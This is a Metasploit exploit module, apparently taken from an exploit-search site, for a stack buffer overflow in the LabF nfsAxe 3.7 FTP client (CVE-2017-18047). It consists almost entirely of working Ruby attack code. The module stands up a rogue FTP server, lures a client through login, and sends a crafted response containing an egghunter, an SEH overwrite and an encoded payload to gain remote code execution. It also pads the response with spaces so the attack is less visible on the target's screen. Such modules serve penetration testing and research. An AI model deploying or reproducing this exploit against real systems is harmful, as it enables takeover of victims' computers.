Exploit for LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow

## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-FTP-LABF_NFSAXE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
          code execution.
        },
        'Author' => [
          'Tulpa', # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-18047' ],
          [ 'EDB', '42011' ]
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x10",
        },
        'Platform' => 'win',
        'Targets' => [
          # p/p/r in wcmpa10.dll
          [ 'Windows Universal', { 'Ret' => 0x6801549F } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2017-05-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
      ]
    )
  end

  def exploit
    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
    super
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    print_status("#{client.peerhost} - connected.")

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
    print_status("#{client.peerhost} - Response: Sending 220 Welcome")
    welcome = "220 Welcome.\r\n"
    client.put(welcome)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: sending 331 OK")
    user = "331 OK.\r\n"
    client.put(user)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: Sending 230 OK")
    pass = "230 OK.\r\n"
    client.put(pass)
    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")

    eggoptions = { :checksum => true }
    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    # "\x20"s are used to make the attack less obvious
    # on the target machine's screen.
    sploit = "220 \""
    sploit << "\x20" * (9833 - egg.length)
    sploit << egg
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << "\x20" * (576 - hunter.length)
    sploit << "\" is current directory\r\n"

    print_status("#{client.peerhost} - Request: Sending the malicious response")
    client.put(sploit)
  end
end